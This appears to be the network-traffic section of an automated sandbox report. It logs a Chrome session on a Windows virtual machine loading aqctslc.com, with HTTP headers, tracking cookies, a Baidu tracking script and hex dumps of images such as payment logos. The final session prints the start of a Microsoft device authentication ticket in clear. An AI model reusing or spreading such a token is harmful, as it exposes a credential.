2025-01-09 23:51:43 UTC	1390	IN	Data Raw: 35 36 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 05 19 49 44 41 54 58 47 ed 98 59 6c 54 55 18 80 bf 73 ef dc 3b 6d a1 cb 74 a1 2b 2d 6d 11 5b 36 29 01 a4 45 23 4a 50 aa 60 c4 48 4a d0 a8 01 22 24 3e a0 24 6a 5c 9e dc 89 06 8c 06 97 17 83 09 20 0f 18 d0 68 20 a2 68 31 5a 53 52 16 41 28 4d c3 56 5b ba d0 2a dd 66 a6 77 39 e6 de 01 62 03 32 77 64 4c ac e1 7f 3e e7 3f ff 77 fe f5 1c 21 a5 4c 31 0c 63 89 6d db 93 00 c1 c8 12 a9 28 ca 89 50 28 b4 5d 04 83 c1 95 42 88 8f 00 65 64 31 5c b6 d6 b6 6d 7b ad 08 85 42 eb 81 a7 47 28 c4 25 b3 3f 70 40 36 00 4f 8d 70 90 0f 6f 80 fc c7 3c 18 1f 8f c8 60 10 fb 5c 27 58 36 62 4c 06 4a 6a ca b5 39 8d 3e 08 Data Ascii: 562PNGIHDR2YsBIT\|dIDATXGYlTUs;mt+-m[6)E#JP`HJ"$>$j\ h h1ZSRA(MV[*fw9b2wdL>?w!L1cm(P(]Bed1\m{BG(%?p@6Opo<`\'X6bLJj9>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49887	58.254.150.48	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	357	OUT	GET /linksubmit/push.js HTTP/1.1 Host: zz.bdstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:43 UTC	459	IN	HTTP/1.1 200 OK Server: JSP3/2.0.14 Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: application/x-javascript Content-Length: 308 Connection: close Last-Modified: Thu, 19 Sep 2024 23:54:33 GMT ETag: "66ecb9b9-134" Cache-Control: max-age=86400 Age: 71949 Accept-Ranges: bytes Tracecode: 31391376800253925130010911 Ohc-Global-Saved-Time: Thu, 09 Jan 2025 03:52:19 GMT Ohc-Cache-HIT: gz3un51 [2], xzuncache55 [2] Ohc-Response-Time: 1 0 0 0 0 0
2025-01-09 23:51:43 UTC	308	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 2f 28 5b 68 74 74 70 7c 68 74 74 70 73 5d 3a 5c 2f 5c 2f 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 5f 5c 2e 5d 2b 5c 2e 62 61 69 64 75 5c 2e 63 6f 6d 29 2f 67 69 2c 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 69 66 28 21 65 2e 74 65 73 74 28 72 29 29 7b 76 61 72 20 6f 3d 22 68 74 74 70 73 3a 2f 2f 73 70 30 2e 62 61 69 64 75 2e 63 6f 6d 2f 39 5f 51 34 73 69 6d 67 32 52 51 4a 38 74 37 6a 6d 39 69 43 4b 54 2d 78 68 5f 2f 73 2e 67 69 66 22 3b 74 3f 28 6f 2b 3d 22 3f 72 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2c 72 26 26 28 6f 2b 3d 22 26 6c 3d 22 2b 72 Data Ascii: !function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49899	199.91.74.208	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	355	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:43 UTC	315	IN	HTTP/1.1 220 Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: LA-MEX-queretaro-EDGE2-CACHE1[221],LA-MEX-queretaro-EDGE2-CACHE1[ovl,220] X-CCDN-REQ-ID-46B1: 9f341fecc0f7d3ae92c1e962d0c2faea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49902	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	743	OUT	GET /themes/static/image/paypal.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	1059	IN	Data Raw: 34 31 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 03 ce 49 44 41 54 58 47 ed 98 7f 4c 94 75 1c c7 5f cf fd e2 f8 ed c1 01 07 04 ea c1 44 7e 34 39 77 a4 e6 6a a8 49 a1 b1 e1 cc 70 d1 3f 0d 1b e6 cc c0 5f ff 08 9b 6b ad 56 ae d4 1a 98 f3 47 99 a3 35 75 cc 25 6a 89 68 66 ab 66 4a 2c 98 c5 c0 62 cc 8a 83 04 39 e8 ee e1 9e bb e7 69 77 1b fe d3 96 cf 0d 6f f3 da 7d ff fa ee bb cf f7 f3 f9 bc 3e ef cf f7 79 be fb 0a 8a a2 24 48 92 b4 4e 96 e5 42 40 20 bc 86 a2 d1 68 7a 45 51 3c 25 b8 dd ee 0d 82 20 1c 04 34 e1 c5 70 2f 5b 59 96 e5 ad 82 28 8a ef 01 f5 61 0a 31 9d f6 01 3f c8 5e a0 2e cc 41 3e 8c 80 3c 64 0a 46 14 79 c8 04 21 a2 48 44 91 10 55 20 Data Ascii: 417PNGIHDR2YsBIT\|dIDATXGLu_D~49wjIp?_kVG5u%jhffJ,b9iwo}>y$HNB@ hzEQ<% 4p/[Y(a1?^.A><dFy!HDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49898	103.235.46.96	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	623	OUT	GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://aqctslc.com/ HTTP/1.1 Host: sp0.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:44 UTC	135	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Thu, 09 Jan 2025 23:51:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49906	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	745	OUT	GET /themes/static/image/discover.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:44 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:44 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:44 UTC	1166	IN	Data Raw: 34 38 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 04 39 49 44 41 54 58 47 ed 98 7f 4c 55 65 18 c7 3f e7 5e b8 42 08 59 6e 54 b6 96 15 39 36 69 59 2c 58 31 4b d2 20 08 5c 85 90 29 45 80 06 0a 4c a8 f1 63 8b 19 d9 16 50 cb 54 2c 71 29 4e 97 9b 08 2b f1 e7 5f a8 85 63 30 65 80 01 42 bb 20 28 5c 89 df 5e 84 7b b9 97 7b de 76 ee 0d a6 1b 2e 7e 49 b0 f1 6c 67 3b f7 ee 3d ef be 9f e7 fb 3c cf 39 7b 25 21 84 8b d9 6c 0e 95 65 79 39 20 31 b7 42 a8 54 aa 06 a3 d1 58 28 19 0c 86 4d 92 24 ed 07 54 73 8b 61 54 ad 2c cb f2 67 92 d1 68 dc 09 24 cd 51 88 11 d9 fb 14 90 1f 80 c4 39 0e 92 3b 0f 32 cb 1c 9c 77 64 96 19 c2 bc 23 f3 8e 3c a0 0c cc 97 d6 3d 89 Data Ascii: 482PNGIHDR2YsBIT\|d9IDATXGLUe?^BYnT96iY,X1K \)ELcPT,q)N+_c0eB (\^{{v.~Ilg;=<9{%!ley9 1BTX(M$TsaT,gh$Q9;2wd#<=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49907	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	743	OUT	GET /themes/static/image/shape1.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:44 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:44 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:44 UTC	4077	IN	Data Raw: 66 65 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3e 00 00 00 42 08 06 00 00 01 78 26 55 68 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 Data Ascii: fe1PNGIHDR>Bx&UhtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49908	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	743	OUT	GET /themes/static/image/shape2.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:44 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:44 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:44 UTC	5909	IN	Data Raw: 31 37 30 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 58 00 00 00 48 08 06 00 00 01 05 44 02 39 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 1708PNGIHDRXHD9tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49914	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:44 UTC	956	OUT	GET /favicon.ico HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:44 UTC	267	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:44 GMT Content-Type: image/x-icon Content-Length: 9662 Last-Modified: Fri, 08 Nov 2024 05:18:52 GMT Connection: close ETag: "672d9f3c-25be" Access-Control-Allow-Origin: * Accept-Ranges: bytes
2025-01-09 23:51:44 UTC	9662	IN	Data Raw: 00 00 01 00 01 00 30 30 00 00 01 00 20 00 a8 25 00 00 16 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 70 ce 00 2e 6e cb 00 18 55 b7 00 2a 6b c9 00 29 69 c7 00 29 68 c5 00 29 66 c1 05 29 65 c1 18 28 64 bf 32 28 63 bd 49 28 63 bc 5b 27 62 ba 62 26 61 b8 61 26 60 b7 58 25 5f b5 44 24 5e b3 2b 23 5e b2 13 23 5e af 02 22 5c af 00 22 5c ae 00 23 5c ad 00 20 5a ac 00 2b 63 b1 00 22 59 ab 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00 %(0` $2p.nU*k)i)h)f)e(d2(cI(c['bb&aa&`X%_D$^+#^#^"\"\#\ Z+c"Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49915	103.235.46.96	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:45 UTC	392	OUT	GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://aqctslc.com/ HTTP/1.1 Host: sp0.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:45 UTC	135	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Thu, 09 Jan 2025 23:51:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49923	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:45 UTC	724	OUT	GET /favicon.ico HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:45 UTC	267	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:45 GMT Content-Type: image/x-icon Content-Length: 9662 Last-Modified: Fri, 08 Nov 2024 05:18:52 GMT Connection: close ETag: "672d9f3c-25be" Access-Control-Allow-Origin: * Accept-Ranges: bytes
2025-01-09 23:51:45 UTC	9662	IN	Data Raw: 00 00 01 00 01 00 30 30 00 00 01 00 20 00 a8 25 00 00 16 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 70 ce 00 2e 6e cb 00 18 55 b7 00 2a 6b c9 00 29 69 c7 00 29 68 c5 00 29 66 c1 05 29 65 c1 18 28 64 bf 32 28 63 bd 49 28 63 bc 5b 27 62 ba 62 26 61 b8 61 26 60 b7 58 25 5f b5 44 24 5e b3 2b 23 5e b2 13 23 5e af 02 22 5c af 00 22 5c ae 00 23 5c ad 00 20 5a ac 00 2b 63 b1 00 22 59 ab 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00 %(0` $2p.nU*k)i)h)f)e(d2(cI(c['bb&aa&`X%_D$^+#^#^"\"\#\ Z+c"Y

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49972	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 4e 7a 54 67 73 36 66 42 6b 79 4d 58 6b 4e 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 31 65 32 33 37 36 30 36 35 34 65 39 38 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kNzTgs6fBkyMXkNd.1Context: 801e23760654e984
2025-01-09 23:51:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:51:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 4e 7a 54 67 73 36 66 42 6b 79 4d 58 6b 4e 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 31 65 32 33 37 36 30 36 35 34 65 39 38 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 4e 76 78 51 38 4f 2b 6b 35 4f 41 55 2f 74 76 6e 75 58 62 30 72 66 39 4a 4d 49 76 30 4b 69 67 39 32 6c 66 56 52 62 71 74 37 52 37 51 45 43 57 72 63 6b 47 54 67 42 53 36 58 2f 36 68 33 71 7a 58 70 39 6e 6f 46 51 64 68 38 54 61 38 31 38 78 70 64 65 35 58 51 30 7a 76 75 2b 4a 63 7a 73 49 72 59 6e 34 78 48 44 6b 42 4f 79 79 61 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kNzTgs6fBkyMXkNd.2Context: 801e23760654e984<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYNvxQ8O+k5OAU/tvnuXb0rf9JMIv0Kig92lfVRbqt7R7QECWrckGTgBS6X/6h3qzXp9noFQdh8Ta818xpde5XQ0zvu+JczsIrYn4xHDkBOyya
